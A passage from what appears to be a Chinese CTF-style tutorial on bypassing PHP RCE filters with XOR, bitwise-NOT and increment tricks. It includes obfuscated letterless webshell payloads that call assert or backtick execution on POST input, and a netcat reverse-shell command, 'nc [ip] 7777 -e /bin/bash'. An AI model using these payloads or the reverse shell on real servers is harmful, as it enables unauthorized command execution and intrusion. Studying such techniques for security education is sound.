style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!((%)(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">@[[@[</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\\\</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //这里需要多加一个反斜杠转义\\，否则会出错</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!+/((</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~&#123;`&#123;|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>这样我们就可以post提交<code>ls,cat /flag</code>等命令</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/54.png\" class=\"\"></p>\n<p>此外还需要进行URL编码</p>\n<p><strong>php7条件下</strong>不能使用assert，但可以使用``` <code>反引号 ：</code> <code>$_POST['_']</code> <code>但是</code>没有回显</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!+/((</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">^</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~&#123;`&#123;|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">[</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>所以可以采用反弹shell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>kali上开启监听：</span></span>\n<span class=\"line\"><span>nc -lvp 7777</span></span>\n<span class=\"line\"><span>POST提交：</span></span>\n<span class=\"line\"><span>_=nc [ip] 7777 -e /bin/bash</span></span></code></pre>\n<h2 id=\"取反\"><a class=\"anchor\" href=\"#取反\">#</a> 取反</h2>\n<p>具体思路与异或差不多，取反顾名思义就是按位将1变为0，将0变为1</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>~()会对括号里面的内容进行取反</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> bin2hex</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这串代码输出a的 ASCII码结果为61，对应二进制为01100001，经过取反后变成10011110对应十六进制为9E，但是由于ASCII码十六进制最大为7F，故%9E这个字符其实不存在</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">%9E</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">~</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">urldecode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//输出内容为a</span></span></code></pre>\n<p>但是经过取反可以看到输出了字母a，就可以实现无字母绕过</p>\n<p>此外橙子科技 给了一种中文字符串的方法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">极</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> bin2hex</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ~</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//这串代码输出结果前一行为e69e81,0位e6,1位9e,2位81</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//所以最后取反$a&#123;1&#125;其实就是取反$a的1位9e,即~(9e)结果为a</span></span></code></pre>\n<p>这个的payload老长一串，想一下还是用URL编码的poc吧（<strong>php5</strong>）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">~</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">%9e%8c%8c%9a%8d%8b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //assert</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">~</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">%a0%af%b0%ac%ab</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //_POST</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/55.png\" class=\"\"></p>\n<p><strong>php7</strong>条件下还是用反引号：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">~</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">%a0%af%b0%ac%ab</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__['_']</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">`</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>然后还是使用shell反弹</p>\n<h2 id=\"自增\"><a class=\"anchor\" href=\"#自增\">#</a> 自增</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">A</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>这串代码输出结果为B，利用这个原理我们可以实现绕过，只要获取A我们就可以获得其他字母</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>++$a //先累加再输出</span></span>\n<span class=\"line\"><span>$a++ //先输出再累加</span></span></code></pre>\n<p>获取A的方法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>原因是<code>[]</code>本来作为一个数组，后面用<code>.</code>拼接上字符串后var_dump结果就变成了字符串Array</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/56.png\" class=\"\"></p>\n<p>那么我们就可以通过<code>$_[0]</code>获取字母A</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/57.png\" class=\"\"></p>\n<p>但是又由于无数字，所以还需要稍作修改：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//$__变量不存在，假值0</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>橙子科技的自增脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strtoupper</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd2</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strtoupper</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">post</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> POC</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span 